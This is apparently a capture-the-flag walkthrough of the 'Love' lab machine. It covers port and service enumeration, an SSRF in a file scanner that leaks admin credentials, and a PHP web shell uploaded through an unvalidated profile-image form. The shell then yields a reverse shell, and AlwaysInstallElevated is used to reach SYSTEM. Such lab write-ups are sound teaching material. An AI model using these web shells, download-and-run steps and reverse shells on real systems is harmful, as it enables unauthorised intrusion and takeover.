The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard
extractPorts allPorts
ExtractPorts
[+] Extracting information... [+] IP Address: 10.129.36.69 [+] Open Ports: 80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670[+] Ports Copied to Clipboard
Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts
Note that this scan is also exported to have evidence at hand
# Nmap 7.94SVN scan initiated Thu Mar 27 15:35:38 2025 as: nmap -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 -sCV -n -Pn --disable-arp-ping -oN targeted 10.129.36.69Nmap scan report for 10.129.36.69Host is up (0.12s latency).PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27| http-cookie-flags:| /:| PHPSESSID:|_ httponly flag not set|_http-title: Voting System using PHP135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)| tls-alpn:|_ http/1.1|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27|_http-title: 403 Forbidden| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in| Not valid before: 2021-01-18T14:00:16|_Not valid after: 2022-01-18T14:00:16|_ssl-date: TLS randomness does not represent time445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)3306/tcp open mysql?| fingerprint-strings:| DNSStatusRequestTCP, FourOhFourRequest, HTTPOptions, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:|_ Host '10.10.16.20' is not allowed to connect to this MariaDB server5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)|_http-title: 403 Forbidden|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.275040/tcp open unknown5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.0| ssl-cert: Subject: commonName=LOVE| Subject Alternative Name: DNS:LOVE, DNS:Love| Not valid before: 2021-04-11T14:39:19|_Not valid after: 2024-04-10T14:39:19|_ssl-date: 2025-03-27T15:00:06+00:00; +21m34s from scanner time.| tls-alpn:|_ http/1.17680/tcp open pando-pub?47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found49664/tcp open msrpc Microsoft Windows RPC49665/tcp open msrpc Microsoft Windows RPC49666/tcp open msrpc Microsoft Windows RPC49667/tcp open msrpc Microsoft Windows RPC49668/tcp open msrpc Microsoft Windows RPC49669/tcp open msrpc Microsoft Windows RPC49670/tcp open msrpc Microsoft Windows RPC1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port3306-TCP:V=7.94SVN%I=7%D=3/27%Time=67E56247%P=x86_64-pc-linux-gnu%rHost script results:| smb2-time:| date: 2025-03-27T14:59:56|_ start_date: N/A|_clock-skew: mean: 2h06m34s, deviation: 3h30m00s, median: 21m33s| smb-security-mode:| account_used: | authentication_level: user| challenge_response: supported|_ message_signing: disabled (dangerous, but default)| smb2-security-mode:| 3:1:1:|_ Message signing enabled but not required| smb-os-discovery:| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)| OS CPE: cpe:/o:microsoft:windows_10::-| Computer name: Love| NetBIOS computer name: LOVE\x00| Workgroup: WORKGROUP\x00|_ System time: 2025-03-27T07:59:52-07:00Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Thu Mar 27 15:38:34 2025 -- 1 IP address (1 host up) scanned in 176.14 seconds
139, 445 - SMB
As usual, letβs take a look at the SMB service and extract some basic information such as β
Hostname and Domain, if exists
Operative System Version
SMB Signing
SMB Version
We can carry out this task using netexec
nxc smb 10.129.36.69
Command Output
SMB 10.129.36.69 445 LOVE [*] Windows 10 Pro 19042 x64 (name:LOVE) (domain:Love) (signing:False) (SMBv1:True)
Since the hostname and domain are the same and the target has no open ports related to a standard Domain Controller such as Kerberos (88) or Ldap (389, 636), we might think that the remote machine is not a Domain Controller
Anyway, letβs add the above hostname to the /etc/hosts file
Now, since we do not have any valid credentials, letβs try to use a Null Authentication to list the SMB Shares on the target
nxc smb love --username '' --password '' --shares
Command Output
SMB 10.129.36.69 445 LOVE [*] Windows 10 Pro 19042 x64 (name:LOVE) (domain:Love) (signing:False) (SMBv1:True)SMB 10.129.36.69 445 LOVE [+] Love\:SMB 10.129.36.69 445 LOVE [-] Error enumerating shares: STATUS_ACCESS_DENIED
It is not enabled, we can check if the guest account is not disabled
nxc smb love --username 'guest' --password '' --shares
Command Output
SMB 10.129.36.69 445 LOVE [*] Windows 10 Pro 19042 x64 (name:LOVE) (domain:Love) (signing:False) (SMBv1:True)SMB 10.129.36.69 445 LOVE [-] Love\guest: STATUS_ACCOUNT_DISABLED
But it isβ¦
Finally, letβs try to authenticate with a random user, sometimes, the target may behave strangely and lets us to list the available shares with a non-existent user
nxc smb love --username 'anyRandomUser' --password '' --shares
NOTE
SMB 10.129.36.69 445 LOVE [*] Windows 10 Pro 19042 x64 (name:LOVE) (domain:Love) (signing:False) (SMBv1:True)SMB 10.129.36.69 445 LOVE [-] Love\anyRandomUser: STATUS_LOGON_FAILURE
And it does not work either
There is nothing else we can test here
Note that the target has SMBv1, so we could think of EternalBlue, but it is probably not vulnerable as the Operative System is a Windows 10
135 - RPC
We could try to reach some RPC Endpoints via the Endpoint Mapper and see if any of them do not require authentication or allow Null Authentication
rpcclient --user '' --no-pass --command 'srvinfo' love
Command Output
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
But we get the above error. The same applies if we try with a random user
rpcclient --user 'anyRandomUser' --no-pass --command 'srvinfo' love
Command Output
Cannot connect to server. Error was NT_STATUS_LOGON_FAILURE
We got a Logon Failure error as the user account specified does not exist in the system
There is nothing else we can do here either, letβs move on to the next service!
3306 - MySQL
We do not have any valid credentials either to try to connect to this MySQL/MariaDB Service
But, letβs check if we can initiate a connection to the target using the mysql cli client
mysql --user='anyRandomUser' --password='' --host=love --port=3306 --database=''
Command Output
ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '10.10.16.20' is not allowed to connect to this MariaDB server
Our IP Address is not allowed to stablish a connection to the targetβs MySQL Service
Therefore, there is not much we can do here
80, 443, 5000 - HTTP[s]
And we arrive at the web branch, it seems that the targetβs entrypoint is on any of this ports, so letβs take a look at them
443 - HTTPs
As it is HTTPS, it is possible that a TLS Certificate has been issued for the website
Thus, we can extract the Common Names section of the Certificate to gather some valid domains or subdomains
We could do the same with this port, before access this website from the browser, simply make an HTTP Request to see the HTTP Status Code in the response
curl --silent --request GET --location --head 'http://10.129.48.103:5000'
Another way to check that the content delivered when requesting both is the same, would be to check how many characters or lines are in the HTTP Responses
http://10.129.48.103
curl --silent --location --request GET 'http://10.129.48.103' | wc -c
Command Output
4388
http://love.htb
curl --silent --location --request GET 'http://love.htb' | wc -c438
Command Output
4388
The characters are the same, therefore, the delivered content is the same
Remember that we got an additional subdomain inspecting the TLS Certificate β staging.love.htb
Another PHP web page, this time a Secure File Scanner, this one looks better as the other one seems to have a login form
Letβs inspect both from the browser
Browser-Based Inspection
http://love.htb
As mentioned, there is a login form, but we do not have any valid credentials
Note that the first field does not require a user but an ID
We could try to bruteforce that field if we have any valid password
There is nothing interesting in the source code either
http://staging.love.htb
There is another form, but this time it seems to be a registration one
So, we might try registering before carry out any type of injection
First, we check if any HTTP Traffic is generated when the submit button is clicked to send the data via an HTTP Post Request
No data is sent when filling in the form fields and clicking submit. Therefore, this form does not work
We have a demo section, if we go to it we get the following content
It is a file scanner
Exploitation
Information Leakage via SSRF
We could check if we receive an HTTP Request to the HTTP Server we build with Python
From the Attacker βοΈ
python3 -m http.server 8888
From the Targetπ―
We received the HTTP Request to the HTTP Server and the target gets a 404 Error, so it is working correctly
Simple HTTP Server Output
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...10.129.48.103 - - [28/Mar/2025 15:30:07] code 404, message File not found10.129.48.103 - - [28/Mar/2025 15:30:07] "GET /test HTTP/1.1" 404 -
Before checking for any type of injection or RFI, we check if we can list any local files on the target by requesting it through this file scanner
And we get the content of the file!
Again, before proceed with the enumeration of local files, we could check if a Server Side Request Forgery (SSRF) exists as we can request any type of URL in the field
Remember that we get a 403 Error if we request any content related to the following URLs
http://love.htb:5000
https://love.htb
So, letβs make another HTTP Request to the above URL but this time to localhost, as it is this file scanner that makes the requests, they will be accessible from there
IMPORTANT
Note that, this time, the HTTP request are generated from the target machine, not from the attacker side, so it is possible that the Web Server behaves different and we could access the web content of the requested URL by modifying the vhost name to localhost
And we have credentials! Thus, this website cannot be accessed externally, but can be accessed locally
admin:@LoveIsInTheAir!!!!
This credentials are not valid for the login form of http://love.htb as it asks for an ID
Since we have a possible system user, roy, letβs validate the above password for this user with netexec
nxc smb love --username 'roy' --password '@LoveIsInTheAir!!!!'
Command Output
SMB 10.129.48.103 445 LOVE [*] Windows 10 Pro 19042 x64 (name:LOVE) (domain:Love) (signing:False) (SMBv1:True)SMB 10.129.48.103 445 LOVE [-] Love\roy:@LoveIsInTheAir!!!! STATUS_LOGON_FAILURE
And it is not valid, we do the same for the administrator user
nxc smb love --username 'administrator' --password '@LoveIsInTheAir!!!!'
Command Output
SMB 10.129.48.103 445 LOVE [*] Windows 10 Pro 19042 x64 (name:LOVE) (domain:Love) (signing:False) (SMBv1:True)SMB 10.129.48.103 445 LOVE [-] Love\administrator:@LoveIsInTheAir!!!! STATUS_LOGON_FAILURE
And it is not either
Authenticated RCE via an Arbitrary File Upload
Letβs fuzz the content of this URL http://love.htb to search for another resources
Since we know that the Server-Side Language Programming is PHP, letβs fuzz by PHP extensions
One that stands out from the rest is the admin directory, as we have admin credentials
So, letβs take a look to it
And we have another login form, but this one asks for a user and a password. So, we try with the ones we have
And we are in!
It is seems like an Admin Dashboard or something similar
If we go through all the features it has, there is nothing interesting apart from an Update Profile section
This section allows the current user to upload a new profile image
So, we could try to upload another type of file such as a PHP script to see if any validation is done from the Server Side
Enable the browserβs proxy configuration to send all the HTTP traffic generated to the Burpsuite HTTP Proxy, intercept the POST Request related to the Image Upload and send it to the Repeater
First, create a php script to upload it
PHP Script
<?php system("whoami"); ?>
Upload that file and intercept the HTTP Request to inspect its content
We get a 302 HTP Status Code in the response followed by a 200 OK
We can see in the render section of the HTTP Response that the file has been upload successfully
Therefore, it seems that there is not any type of validation on the Server Side, neither File Magic Numbers nor the Content-Type of the upload input field
To find out the system path where the profile image is stored, just inspect the source code of the dashboard to get the URL of the following image
And it is β http://love.htb/images/cmd.php
If we request the above resource
The code is executed correctly, so we have a Remote Code Execution via an Arbitrary File Upload
Now, we can create another PHP Script with the following content to be able to run any command on the remote machine as the user running the Web Server
<?php system($_GET['cmd']); ?>
Upload the above file and request it by passing it a cmd URL Parameter via GET
And we have a mini PHP Web Shell
Therefore, to be able to generate a reverse shell connection from the target to the attacker proceed as indicated in this section
The entire exploitation process can be automated with this python script
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...10.129.48.103 - - [28/Mar/2025 16:42:48] "GET /rev.ps1 HTTP/1.1" 200 -
RLWrap + Netcat Output
listening on [any] 443 ...connect to [10.10.16.20] from (UNKNOWN) [10.129.48.103] 62625PS C:\xampp\htdocs\omrs\images>
We are in the system as love\phoebe
whoami
Command Output
love\phoebe
We could try to grab the content of the user.txt flag in case that it is in Phoebeβs Desktop
Get-Content C:\Users\Phoebe\Desktop\user.txt
And it is!
Privesc #1
Initial Non-Privileged User β Phoebe
AlwaysInstallElevated
First, we check whether the current user belongs to any system or builtin group for which there is a possibility to perform a privesc
The same applies for the user privileges
whoami /all
Command Output
USER INFORMATION----------------User Name SID=========== =============================================love\phoebe S-1-5-21-2955427858-187959437-2037071653-1002GROUP INFORMATION-----------------Group Name Type SID Attributes====================================== ================ ============ ==================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled groupBUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled groupBUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled groupCONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled groupLOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled groupMandatory Label\Medium Mandatory Level Label S-1-16-8192PRIVILEGES INFORMATION----------------------Privilege Name Description State============================= ==================================== ========SeShutdownPrivilege Shut down the system DisabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeUndockPrivilege Remove computer from docking station DisabledSeIncreaseWorkingSetPrivilege Increase a process working set DisabledSeTimeZonePrivilege Change the time zone Disabled
The only interesting thing is that the user belongs to the Remote Management Users, since the ports 5985 and 5986 are accessible externally, we could try to connect to the target via WinRM
But remember that we do not have any valid credentials for the user phoebe
We can check the existence of other users in the system as follows
net user
Command Output
User accounts for \\LOVEAdministrator DefaultAccount GuestPhoebe WDAGUtilityAccountThe command completed successfully.
Apart from the Administrator user, there is no one more interesting, so it seems that the privesc will be from the current user to the Administrator user
Letβs check if there are any valid credentials stored of other users
cmdkey.exe /list
Command Output
Currently stored credentials:* NONE *
And there are notβ¦
At this point, letβs transfer to the target the PowerUp Powershell Script from PowershellEmpire
From the Attacker
Download the Powershell Script
curl --silent --request GET --location "https://github.com/PowerShellEmpire/PowerTools/raw/refs/heads/master/PowerUp/PowerUp.ps1" --output powerup.ps1
Build a Simple HTTP Server
python3 -m http.server 8888
From the Target
Download and Execute the above resource using any available LolBas on the system
Then, execute the following powershell function to perform all checks
Invoke-AllChecks
Command Output
GROUP INFORMATION-----------------PS C:\xampp\htdocs\omrs\images> Invoke-AllChecks[*] Running Invoke-AllChecks[*] Checking if user is in a local group with administrative privileges...[*] Checking for unquoted service paths...[*] Checking service executable and argument permissions...[*] Checking service permissions...[*] Checking %PATH% for potentially hijackable .dll locations...HijackablePath : C:\Users\Phoebe\AppData\Local\Microsoft\WindowsApps\AbuseFunction : Write-HijackDll -OutputFile 'C:\Users\Phoebe\AppData\Local\Microsoft\WindowsApps\\wlbsctrl.dll' -Command '...'[*] Checking for AlwaysInstallElevated registry key...OutputFile :AbuseFunction : Write-UserAddMSI[*] Checking for Autologon credentials in registry...DefaultDomainName : LOVEDefaultUserName : phoebeDefaultPassword :AltDefaultDomainName :AltDefaultUserName :AltDefaultPassword :[*] Checking for vulnerable registry autoruns and configs...[*] Checking for vulnerable schtask files/configs...[*] Checking for unattended install files...[*] Checking for encrypted web.config strings...[*] Checking for encrypted application pool and virtual directory passwords...
Nothing interestingβ¦
We could run a more comprehensive scan such as Winpeas
Thefore, proceed in the same way as for the above resource
From the Attacker βοΈ
curl --silent --request GET --location "https://github.com/peass-ng/PEASS-ng/releases/download/20250320-91fb36a0/winPEASx64.exe" --output winpeas.exe
listening on [any] 443 ...connect to [10.10.16.20] from (UNKNOWN) [10.129.48.103] 63663Microsoft Windows [Version 10.0.19042.867] (c) 2020 Microsoft Corporation. All rights reserved.C:\WINDOWS\system32>
So, we are on the remote machine as NT Authority\System π
whoami
Command Output
nt authority\system
Just grab the content of the root.txt flag and move on to the next machine!